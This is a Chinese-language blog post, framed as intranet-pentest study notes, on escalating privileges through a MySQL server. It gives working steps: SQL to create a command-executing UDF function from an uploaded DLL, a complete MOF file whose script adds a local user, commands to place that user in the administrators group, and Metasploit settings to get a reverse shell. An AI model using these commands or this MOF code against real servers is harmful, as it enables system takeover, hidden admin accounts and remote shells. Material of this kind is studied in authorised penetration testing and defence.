• 内网学习之MySQL服务提权


    利用MySQL提权原理:

    1、具有mysql的root权限,且mysql以system权限运行。

    2、具有执行sql语句的权限,webshell或者外连皆可

    UDF提权

    UDF(user defined function 用户自定义函数)提权,要求有写权限(secure_file_priv要么为空,要么设置路径),单引号未被过滤

    原理:

           UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)要想利用udf,必须上传udf.dll作为udf的执行库。

           mysql中支持UDF扩展,使得我们可以凋用DLL里面的函数来实现一些特殊的功能。

    0X01 MySQL信息收集

    在拿到数据库账号密码后,查看用户权限,本地路径,版本信息

    select user(); select @@basedir; select version();select @@plugin_dir ; #查询到MySQL的plugin位置# mysql版本<5.1,UDF导出到系统目录C:/windows/system32/ 如Windows2003放到c:windowssystem32# mysql版本>5.1,UDF导出到安装路径:Windows在MySQLLibPlugin(Plugin默认不存在,需自建) Linux则在/usr/lib/mysql/plugin下
    
    show global variables like '%secure%';# mysql版本<5.5.53 , secure_file_priv 默认为空# mysql版本>=5.5.53 ,secure_file_priv 默认为null

    0X02  创建函数

        将udf.dll脚本上传至指定目录后执行命令

    CREATE FUNCTION shell RETURNS string SONAME 'udf.dll'; # 创建函数 SELECT shell('cmd','whoami'); #执行命令

    image

      脚本链接 https://github.com/f1tz/UDF

    Linux与Windows操作相似,具体操作参考上图,注意文件类型不是dll,而是so

    如果遇到Function sys_eval already exists问题,执行以下语句

    DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
    DROP FUNCTION IF EXISTS sys_get;
    DROP FUNCTION IF EXISTS sys_set;
    DROP FUNCTION IF EXISTS sys_exec;
    DROP FUNCTION IF EXISTS sys_eval;
    DROP FUNCTION IF EXISTS shell;
    DROP FUNCTION IF EXISTS cmd;
    select * from mysql.plugin;
    delete from mysql.plugin;


           

    mof(托管对象)提权

    提权原理:

    mof是windows系统的一个文件(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式“其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysq的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

    mof文件通过Mofcomp.exe编译执行。

    仅适用于Windows

     流程:
    1、首先找个可写的目录,将我们的MOF文件上传上去。

    连接菜刀,上传两个mof文件Adduser.mof,Addtoadmin.mof至C:windows/system32/wbem/mof/

    select load_file(C:/wmpub/nullevt.mof) into dumpfile 'c:/windows/system32/wbem/mof/nulevt.mof'


    2、mofcomp.exe xxx.mof 执行mof文件

    虚拟终端进入此目录下,执行命令:mofcomp.exe Adduser.mof 等待数秒后net user 查看用户是否添加成功,再执行mofcomp.exe Addtoadmin.mof 等待数秒后 net user 用户名 查看是否添加到administrators组中


    添加用户的mof文件代码                 
    #pragma namespace(“\\.\root\subscription”)
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = “Root\Cimv2”;
    Name = “filtP2”;
    Query = “Select * From __InstanceModificationEvent “
    “Where TargetInstance Isa ”Win32_LocalTime” “
    “And TargetInstance.Second = 5”;
    QueryLanguage = “WQL”;
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = “consPCSV2”;
    ScriptingEngine = “JScript”;
    ScriptText =
    “var WSH = new ActiveXObject(”WScript.Shell”) WSH.run(”net.exe user secist 123 /add”)“;   #修改这里进行账户密码和组的修改
    };
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };

    利用mof通过msf获得cmdshell

    use exploit/windows/mysql/mysql_mof  #选取模块

    options   #查看所需配置参数

    set username  xxx

    set password  xxx

    set rhost  xxx.xxx.xxx.xxx

    set payload windows/shell_reverse_tcp     #选择payload

    options 

    set lhost xxxx

    set lport xxx

    exploit       #执行 

  • 相关阅读:
    ASP.NET使用Coolite.Ext.Web.dll,显示ext"未定义"的解决方法
    浏览器引擎模式与DOCTYPE
    MVC 参数如何自动绑定数组对象
    IIS7.5 配置 PHP
    TFSDeleteProject:删除团队项目
    自动生成存储过程一
    如何更新ntext字段信息
    清除所有默认样式的CSS代码
    自定义动作过滤器属性
    IE9点击别的网页弹出空白页
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12315538.html
Copyright © 2020-2023  润新知